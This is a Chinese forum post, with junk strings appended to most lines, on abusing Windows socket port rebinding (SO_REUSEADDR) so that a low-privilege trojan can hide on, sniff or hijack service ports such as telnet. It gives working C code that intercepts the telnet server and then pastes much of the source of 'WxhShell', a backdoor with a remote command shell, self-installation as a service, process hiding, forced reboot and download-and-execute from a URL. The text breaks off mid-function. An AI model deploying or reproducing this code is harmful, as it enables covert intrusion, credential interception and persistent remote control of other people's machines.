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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: UVDMYA0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8Hq4ppC  
?;#Q3Y+  
  saddr.sin_family = AF_INET; `yR/M"u6T  
X#1WzWk '  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \7\sx:!$  
c{^1`(#?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =t N}4  
{?Slo5X|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -axKnfj  
CUDA<Fm  
  这意味着什么?意味着可以进行如下的攻击: a3n Wt  
E"}%$=yK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \LUW?@gLa  
Q7amp:JFb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i59 }6u_f  
V;^-EWNj  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -.Wwo(4  
X$xf@|<a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  G!%m~+",  
n)N!6u  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 x~k3kj  
ESviWCh0Fl  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 JbEEI(Q>g  
c ,#=In2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 eNfH9l2k  
5H'Iul<Os  
  #include ,b^Y8_ltoT  
  #include 5]mH.{$x$?  
  #include e@c8Ce|0  
  #include    $c*fbBM(&n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   O:v#M]   
  int main() .joCZKO  
  { ;nlJ D#  
  WORD wVersionRequested; ZXLAX9|  
  DWORD ret; 6Takx%U  
  WSADATA wsaData; F=&,=r' Q8  
  BOOL val; _)@G,E33f@  
  SOCKADDR_IN saddr; pZ $>Hh#  
  SOCKADDR_IN scaddr; 0~<?*{~  
  int err; h0-.9ym  
  SOCKET s; ;{8 X+H  
  SOCKET sc; XN-1`5:4I  
  int caddsize; <e&v[  
  HANDLE mt; M19O^P>[  
  DWORD tid;   0aq{Y7sYU  
  wVersionRequested = MAKEWORD( 2, 2 ); J+CGhk  
  err = WSAStartup( wVersionRequested, &wsaData ); N9ipwr'P  
  if ( err != 0 ) { 8-gl$h  
  printf("error!WSAStartup failed!\n"); lB2 F09`  
  return -1; I3Co   
  } iTevl>p!  
  saddr.sin_family = AF_INET; FoE}j   
   %cs" PS  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 J3+qnT8X  
,1~B7Z d  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ((?"2 }1r  
  saddr.sin_port = htons(23); TlO=dLR7d  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Obu 6k[BE.  
  { =2*2 $  
  printf("error!socket failed!\n"); _e8Gt6>  
  return -1; nUs=PD3)  
  } 6x5Q*^w  
  val = TRUE; m5/]+xdNX  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [4EIy"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Cm5L99Y  
  { DmWa!5  
  printf("error!setsockopt failed!\n"); S^q^=q0F  
  return -1; C-_u`|jQ  
  } n=f?Q=h\3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "4KyJ;RA*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Na]ITCVR  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Tb^1#O  
?AO=)XV2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >q')%j  
  { fLRx{Nu  
  ret=GetLastError(); X'.l h#&  
  printf("error!bind failed!\n"); 5T"h7^}e  
  return -1; Tq^B>{S "  
  } (^T}6t3+4  
  listen(s,2); ZCK#=:ln  
  while(1) 6wOj,}2Mn  
  { ui"`c%2n  
  caddsize = sizeof(scaddr); 1C=42ZZ&2  
  //接受连接请求 gjiS+N[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); EGRIhnED#  
  if(sc!=INVALID_SOCKET) "tbKbFn9  
  { P;7[5HFF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); od@!WjcM[8  
  if(mt==NULL) xhCNiYJ|  
  { qU&v50n  
  printf("Thread Creat Failed!\n"); 3]\'Q}  
  break; J>hjIN  
  } E-X02A  
  } @CPkP  
  CloseHandle(mt); :3se/4y}  
  } 'D[ *|Qcy  
  closesocket(s); ~urk Uz  
  WSACleanup(); uI)z4Z  
  return 0; wd,6/5=lh  
  }   /w5c:BH  
  DWORD WINAPI ClientThread(LPVOID lpParam) Qm[ )[M  
  { @Rd`/S@  
  SOCKET ss = (SOCKET)lpParam; Sw{rNzh%$  
  SOCKET sc; EAs^i+/  
  unsigned char buf[4096]; hZ>1n&[ @  
  SOCKADDR_IN saddr; pm}_\_  
  long num; W9GjUswv!  
  DWORD val; f'j<v  
  DWORD ret; @q|c|X:I  
  //如果是隐藏端口应用的话,可以在此处加一些判断 - Lsl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p%Ns f[1>  
  saddr.sin_family = AF_INET; nS!m1&DeD  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5uM`4xkj  
  saddr.sin_port = htons(23); .%\R L/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e{Mkwi+j  
  { 5 yL"=3&+  
  printf("error!socket failed!\n"); t,5AoK/NL9  
  return -1; `j6O  
  } efyGjfoO  
  val = 100; V' sq'XB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M\08 7k  
  { w\JTMS$  
  ret = GetLastError(); Q2gz\N  
  return -1; B I>r'  
  } L>`inrpz=w  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >b*}Td~J  
  { :dlG:=.W  
  ret = GetLastError(); bz\nCfU  
  return -1; H9=8nLb.  
  } Q-e(>=Gv_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g s%[Cv  
  { Mn*v&O:  
  printf("error!socket connect failed!\n"); %8KbVjn  
  closesocket(sc); cS",Bw\  
  closesocket(ss); s8*Q@0  
  return -1; aO *][;0  
  } 7$kTeKiP  
  while(1) 'V4B{n7 h  
  { qwuA[QkPi  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @i>4k  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 KpKZiUQm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1?y QjW,  
  num = recv(ss,buf,4096,0); ]%(X }]}  
  if(num>0) _10I0Z0  
  send(sc,buf,num,0); |Mnc0Fgvy,  
  else if(num==0) w!l*!G  
  break; NE?tfj  
  num = recv(sc,buf,4096,0); 9'O@8KB_  
  if(num>0) I5E4mv0<i  
  send(ss,buf,num,0); ZY)&Fam}  
  else if(num==0) Y-y}gc_L  
  break; pq,8z= Uf  
  } 7!g4`@!5M  
  closesocket(ss); Tu=~iQ  
  closesocket(sc); ;+~Phdy  
  return 0 ; 4='/]z  
  } Mir( }E  
WHR6/H  
\~:_ h#bW  
========================================================== VBg M7d  
f!}e*oX  
下边附上一个代码,,WXhSHELL HA;G{[X  
d?jzh 1  
========================================================== e~G um  
q} p (p( N  
#include "stdafx.h" TxmKmZ u  
xU;Q ~(  
#include <stdio.h> 4^K<RSYs  
#include <string.h> A~ wVY  
#include <windows.h> pLpWc~#  
#include <winsock2.h> :w26d-QR(  
#include <winsvc.h> ~J1UzUxX2  
#include <urlmon.h> ;TCT%j`^o  
3\?yjL^  
#pragma comment (lib, "Ws2_32.lib") .10$n*  
#pragma comment (lib, "urlmon.lib") 6hf6Z 3  
$+w-r#,  
#define MAX_USER   100 // 最大客户端连接数 wGx*Xy1n<  
#define BUF_SOCK   200 // sock buffer q4KYC!b  
#define KEY_BUFF   255 // 输入 buffer 6V @ [< d  
d6g^>}-!t  
#define REBOOT     0   // 重启 IUwMIHq&sW  
#define SHUTDOWN   1   // 关机 ()EiBl(kWk  
HhT6gJWrU  
#define DEF_PORT   5000 // 监听端口 ka| 8 _C^z  
@l&>C#K\  
#define REG_LEN     16   // 注册表键长度 :cE~\B S&  
#define SVC_LEN     80   // NT服务名长度 X[$FjKZh=F  
L[}Ak1 A  
// 从dll定义API f>ilk Q`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0`kaT ?>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Qr]`flQ8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =.6JvX<d1*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); , n47.S  
=o,6iJ^?$m  
// wxhshell配置信息 Qg gx:  
struct WSCFG { +Am\jsq  
  int ws_port;         // 监听端口 u|M_O5^  
  char ws_passstr[REG_LEN]; // 口令 j# !U6T  
  int ws_autoins;       // 安装标记, 1=yes 0=no oTxE]a,  
  char ws_regname[REG_LEN]; // 注册表键名 e'5sT#T9l  
  char ws_svcname[REG_LEN]; // 服务名 \t%rIr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m7.6;k.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +{H0$4y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )\fLS d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P~OD d(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,(Nr_K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qBcwM=R3P  
0tp3mYd  
}; +jGSD@32>  
bv4G!21]*;  
// default Wxhshell configuration W3 2]#M=  
struct WSCFG wscfg={DEF_PORT, uxD$dd?  
    "xuhuanlingzhe", .a]9rQQ&_  
    1, L [=JHW  
    "Wxhshell", I@o42%w2  
    "Wxhshell", Eh|v>Yew  
            "WxhShell Service", #@K %Mx  
    "Wrsky Windows CmdShell Service", 9 az{j 1  
    "Please Input Your Password: ", rCgoU xW`  
  1, {K>}eO:K  
  "http://www.wrsky.com/wxhshell.exe", yDe#,|-p  
  "Wxhshell.exe" *BAR`+;U  
    }; b&E9xD/;r  
NKE,}^C  
// 消息定义模块 N9gbj%+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y-^m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,p[9EW*8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .{ r %C4q9  
char *msg_ws_ext="\n\rExit."; @_C?M5v  
char *msg_ws_end="\n\rQuit."; p2uZ*sY(D  
char *msg_ws_boot="\n\rReboot..."; pn-`QB:{h  
char *msg_ws_poff="\n\rShutdown..."; 8;1,saA_9  
char *msg_ws_down="\n\rSave to "; !t!\b9=  
b]xE^zM-I`  
char *msg_ws_err="\n\rErr!"; /zZ";4  
char *msg_ws_ok="\n\rOK!"; O}mz@- Z  
7':qx}c#!1  
char ExeFile[MAX_PATH]; db5@+_  
int nUser = 0; )|`|Usn#[  
HANDLE handles[MAX_USER]; M Qlx&.>  
int OsIsNt; @;ob 4sU  
}q D0-  
SERVICE_STATUS       serviceStatus; XPsRa[08WK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .|z8WF*  
j55;E E!  
// 函数声明 qC ku q  
int Install(void); acdF5ch@  
int Uninstall(void); ="__*J#nze  
int DownloadFile(char *sURL, SOCKET wsh); 6z ,nt  
int Boot(int flag); >Eqr/~Q  
void HideProc(void); N Obw/9JO  
int GetOsVer(void); DRuG5|{I:  
int Wxhshell(SOCKET wsl); O[<0\  
void TalkWithClient(void *cs); /YT _~q=:  
int CmdShell(SOCKET sock); ERz{, >G?  
int StartFromService(void); X>4qL'b:z  
int StartWxhshell(LPSTR lpCmdLine); hmM2c15T5  
:~%{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m9 D' yXZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]c~W$h+F  
,AEaW  
// 数据结构和表定义 k5/W'*P  
SERVICE_TABLE_ENTRY DispatchTable[] = UTR`jXCg  
{ M sQ>eSk  
{wscfg.ws_svcname, NTServiceMain}, 5VhJ*^R`y  
{NULL, NULL} 1&#qq*{  
}; 1?,1EYT"  
-wrVhCd~g]  
// 自我安装 j$Wd[Ja+O  
int Install(void) lmpBf{~ S  
{ G"D=ozr  
  char svExeFile[MAX_PATH]; WI}cXXUKm0  
  HKEY key; caXSt2|'  
  strcpy(svExeFile,ExeFile); &$8YW]1M  
~zph,bk  
// 如果是win9x系统,修改注册表设为自启动 o GN*p_g  
if(!OsIsNt) { m*H' Cb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l7vxTj@(-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tiQeON-Q_  
  RegCloseKey(key); QP:|D_k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5}NTqN0@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;?.w!|6  
  RegCloseKey(key); 32x[6"T  
  return 0; hG8<@  
    } lNba[;_  
  } bK#SxV  
} GW\66$|  
else { wjc&S'[  
w~wg[d  
// 如果是NT以上系统,安装为系统服务 "'v^X!"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T3,}CK#O   
if (schSCManager!=0) L. DD  
{ +\)a p  
  SC_HANDLE schService = CreateService cT(=pMt8>  
  ( W\5PsGUsv  
  schSCManager, l _gJC.  
  wscfg.ws_svcname, (L'|n *Cr  
  wscfg.ws_svcdisp, 5VjO:>  
  SERVICE_ALL_ACCESS, 8"yZS)09  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Wf:LYL  
  SERVICE_AUTO_START, pX?/=T@ Bw  
  SERVICE_ERROR_NORMAL, ,jq:%Y[KZ  
  svExeFile, :b`ywSp`  
  NULL, 5N(OW:M  
  NULL, xZ(ryE%  
  NULL, }BI|M_q.1~  
  NULL, #6*20w_u  
  NULL iOJ5KXrAO  
  ); 7^W(es  
  if (schService!=0) UAe8Ct=YJ  
  { ;DX g  
  CloseServiceHandle(schService); e6gLYhf&  
  CloseServiceHandle(schSCManager); OWT|F0.1$k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P "%f8C~r  
  strcat(svExeFile,wscfg.ws_svcname); Yaj}_M-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { = :BTv[lv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z]08gH  
  RegCloseKey(key); 9 :,ZG4s  
  return 0; 2Og<e|  
    } ,#U[)}im  
  } W^YaC (I  
  CloseServiceHandle(schSCManager); 8F9x2CM-[C  
} $0XR<D  
} wDDNB1_ E  
NOFuX9/'w  
return 1; apZPHau6h  
} }inV)QQ  
C`qE ,2.  
// 自我卸载 ,Q<mU4  
int Uninstall(void) ~'v9/I-"  
{ 7j8lhrM}^  
  HKEY key; 53WCF[  
__Zex5Y#-  
if(!OsIsNt) { mx5#K\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kgh0  
  RegDeleteValue(key,wscfg.ws_regname); s;cGf+  
  RegCloseKey(key); K5^`,}Q^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "p]!="\  
  RegDeleteValue(key,wscfg.ws_regname); 7~Z(dTdSG  
  RegCloseKey(key); (0E<Fz V  
  return 0; 9DdR"r'7  
  } nh*6`5yj  
} A DVUx}  
}  ZvwU  
else { *vzEfmN:d  
}0,dG4Oo=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N}>[To3  
if (schSCManager!=0) 2Q5 -.2]  
{ 8]D0)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P^AI*tH"m  
  if (schService!=0) 1gQ_76Yck  
  { #I1q,fm  
  if(DeleteService(schService)!=0) { >t{-_4Yv?  
  CloseServiceHandle(schService); JOH\K0=e  
  CloseServiceHandle(schSCManager); u|LDN*#DW  
  return 0; 0Wj,=9q  
  } ]>B4  
  CloseServiceHandle(schService); 8([ MR  
  } c:aW"U   
  CloseServiceHandle(schSCManager); C8x9 Jrc  
} -Fq`#"  
} U"=Lzo.0  
8u%,5GV>Xr  
return 1; yLPP6_59$  
} l <p(zLR  
hn~btu 9h  
// 从指定url下载文件 N\|BaZ%>|  
int DownloadFile(char *sURL, SOCKET wsh) V!l?FOSZ  
{ 4n"6<cO5q  
  HRESULT hr; 6-z(34&N  
char seps[]= "/"; ) "Z6Q5k^  
char *token; +NbiUCMX  
char *file; `hdN 6PgK  
char myURL[MAX_PATH]; }?o4MiLB  
char myFILE[MAX_PATH]; '{-Ic?F<P  
W-*HAS  
strcpy(myURL,sURL); nxB[T o*P  
  token=strtok(myURL,seps); XFYa+]B2q  
  while(token!=NULL) C^;>HAK|F  
  { H+Aidsn  
    file=token; =X9fn  
  token=strtok(NULL,seps); m/"([Y_  
  } -y>~ :.  
<<b]v I  
GetCurrentDirectory(MAX_PATH,myFILE);  +#\7 #Y  
strcat(myFILE, "\\"); ex BLj *]  
strcat(myFILE, file); Gu@C* .jj!  
  send(wsh,myFILE,strlen(myFILE),0); E*h!{)z@F  
send(wsh,"...",3,0); YmpaLZJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JfY(};&  
  if(hr==S_OK)  S'\e"w  
return 0; r@/@b{=  
else Q :.i[  
return 1; _a f $0!  
cUr!U\X[  
} na|sKE;{  
\KzH5?  
// 系统电源模块 @v#,SF{  
int Boot(int flag) g/_0WW]}  
{ )E}@h%d  
  HANDLE hToken; k>\v]&|T`  
  TOKEN_PRIVILEGES tkp; qZ4)) X  
?T.=y m  
  if(OsIsNt) { I$MlIz$l v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yM7Iq)o6u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /!MVpi'6&  
    tkp.PrivilegeCount = 1; PfyJJAQ[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q6wa-Y,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;rF[y7\  
if(flag==REBOOT) { r<4j;"lQK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CBoCT3@~  
  return 0; PXqG;o*Q*?  
} jFJ}sX9]  
else { <_ENC>NP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) shw"TF>?zG  
  return 0; H\qZu%F'  
} G|[{\  
  } O@4J=P=w  
  else { PR]b ]=  
if(flag==REBOOT) { Wa7wV 9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]<C]`W2{  
  return 0; JXMH7  
} lx=tOfj8  
else { ]%y>l j?Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 46pR!k  
  return 0; ,wM4X'] HR  
} &x[7?Y L  
} 0#DEh|?  
nJGs,~"  
return 1; X9NP,6  
} e0h[(3bXs$  
+'-.c"  
// win9x进程隐藏模块 vg5_@7  
void HideProc(void) /s~S\dG  
{ EEnl'  
/aMOZ=,q}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HFI0\*xn(  
  if ( hKernel != NULL ) g&85L$   
  { KN[;z2i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !yxqOT-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~bC A8  
    FreeLibrary(hKernel); C l,vBjl h  
  } R"9w VM;*c  
XL^05  
return; vXRY/Zzj1  
} KyfH8Na?  
6o7t eX  
// 获取操作系统版本 e).;;0  
int GetOsVer(void) [!yA#{xl,  
{ rv(?%h`  
  OSVERSIONINFO winfo; 4l%1D.3-O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w3ni@'X8  
  GetVersionEx(&winfo); ?h&?`WO (  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hcwfe=K&/  
  return 1; aY#?QjL  
  else [5& nH@og  
  return 0; #MlpOk*G  
} Y}v3J(l  
U31@++C[  
// 客户端句柄模块 <K`E*IaW  
int Wxhshell(SOCKET wsl) j7gw?,  
{ xsn=Ji2 F  
  SOCKET wsh; 3,Yr%`/5'  
  struct sockaddr_in client; Uu5(/vw]  
  DWORD myID; &v0-$  
GaG>0 x   
  while(nUser<MAX_USER) 8>,w8(Nt  
{ `H6~<9r  
  int nSize=sizeof(client); 3>-h- cpMX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sHc-xnd  
  if(wsh==INVALID_SOCKET) return 1; (X,i,qK/  
xBA"w:<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #aU!f"SS  
if(handles[nUser]==0) *>KBDFI  
  closesocket(wsh); @)uV Fw"\  
else twq~.:<o  
  nUser++; jh)@3c  
  } (+epRC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7!pKlmQ  
ZQ_6I}i")  
  return 0; KDq="=q  
} o~IAZU39  
~qrSHn}+PU  
// 关闭 socket ]|.ked  
void CloseIt(SOCKET wsh) ^0}ma*gi~  
{ )ZpI%M?)  
closesocket(wsh); tLTavE[@  
nUser--; &Y=0 0  
ExitThread(0); 14B',]`  
} %7)TiT4V  
3X`9&0:j%  
// 客户端请求句柄 ?gl&q+mv  
void TalkWithClient(void *cs) G/<zd)  
{ #BUq;5  
7TMq#Pb  
  SOCKET wsh=(SOCKET)cs; gCb+hQq\  
  char pwd[SVC_LEN]; vKG\8+  
  char cmd[KEY_BUFF]; q[a\a7U z  
char chr[1]; ^w\22 Q  
int i,j; #f2k*8"eAF  
heCM+ =#~  
  while (nUser < MAX_USER) { .Q,"gsY  
\D?'.Wo%  
if(wscfg.ws_passstr) { lD0-S0i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D4!;*2t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X3l>GeUi  
  //ZeroMemory(pwd,KEY_BUFF); /{i~-DVME  
      i=0; dZ`Y>wH_  
  while(i<SVC_LEN) { @%Ld\8vdfJ  
y9 {7+]  
  // 设置超时 %Hbq3U30  
  fd_set FdRead; |l; Ot=C=  
  struct timeval TimeOut; WzN c=@[W  
  FD_ZERO(&FdRead); W^tD6H;  
  FD_SET(wsh,&FdRead); #ODP+>-IjB  
  TimeOut.tv_sec=8; A-CU%G9  
  TimeOut.tv_usec=0; S} m=|3%y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $72eHdy/yl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vPNbV  
My8d%GfM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l#KcmOz  
  pwd=chr[0]; z4:!*:.Asu  
  if(chr[0]==0xd || chr[0]==0xa) { x|rc[e%k  
  pwd=0; <eG|`  
  break; 1_] X  
  } \%a0Lp{ I  
  i++; 89FAh6uE  
    } Xxg|01  
V/ G1C^'/  
  // 如果是非法用户,关闭 socket 4H-eFs%5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yxt"vm;  
} L@S\ rImw  
4>jHS\jc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O2{["c e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SH?McBxS  
#Q8_:dPY  
while(1) { '@t$3 hk  
dw"Es;^  
  ZeroMemory(cmd,KEY_BUFF); .dlsiBh  
jq,M1  
      // 自动支持客户端 telnet标准   U#[&(  
  j=0; !/XNpQP  
  while(j<KEY_BUFF) { pWV_KS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d?*] /ZiR  
  cmd[j]=chr[0]; PEf yHf7`  
  if(chr[0]==0xa || chr[0]==0xd) { }HoCfiE=X  
  cmd[j]=0; e'3V4iU]  
  break; ="voJgvw  
  } $gUlM+sK  
  j++; |H?t+Dyn)q  
    } BIWe Hx  
d+q],\"R  
  // 下载文件 duY?LJ@g  
  if(strstr(cmd,"http://")) { i/9iM\2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kW/G=_6  
  if(DownloadFile(cmd,wsh)) RpivO,   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lx:$EJ  
  else *:n~j9V-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {rKC4:  
  } x6UXd~ L e  
  else { SOOVUMj  
u<edO+  
    switch(cmd[0]) { WO qDW~  
  a2Ak?W1  
  // 帮助 g< j)  
  case '?': { Z =+Z96  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JsJP%'^/R  
    break; MGR:IOTa  
  } Dkz/hg:q  
  // 安装 YRu@; `  
  case 'i': { kB 8^v7o  
    if(Install()) 9J3fiA_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |R}=HsYey  
    else >w S'z]T9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k>($[;k|b  
    break; (P|[< Sd  
    } G4cgY|71  
  // 卸载  i0=U6S:#  
  case 'r': { k1wIb']m]z  
    if(Uninstall()) _,J+b R+b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YYe G9yR  
    else 6'#5Dqw"r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;st0Ekni)  
    break; lFzVd N  
    } XY"b90  
  // 显示 wxhshell 所在路径 ok:uTeJI  
  case 'p': { y:;.r:  
    char svExeFile[MAX_PATH]; AF'<  
    strcpy(svExeFile,"\n\r"); ^&>B,;Wu  
      strcat(svExeFile,ExeFile); /|?$C7%a\D  
        send(wsh,svExeFile,strlen(svExeFile),0); 47q> q  
    break; 2HeX( rB  
    } |+nmOi,z  
  // 重启 hF2e--  
  case 'b': { 42dv3bE"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r: K1PO  
    if(Boot(REBOOT)) }S> 4.8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'UlVc2%{  
    else {  &K/?#  
    closesocket(wsh); i7Qb~RW  
    ExitThread(0); KQ\K :#  
    } QG5WsuT  
    break; <*( Z}p  
    } Kip&YB%rk  
  // 关机 luoQ#1F?sl  
  case 'd': { Aw#<:6-  
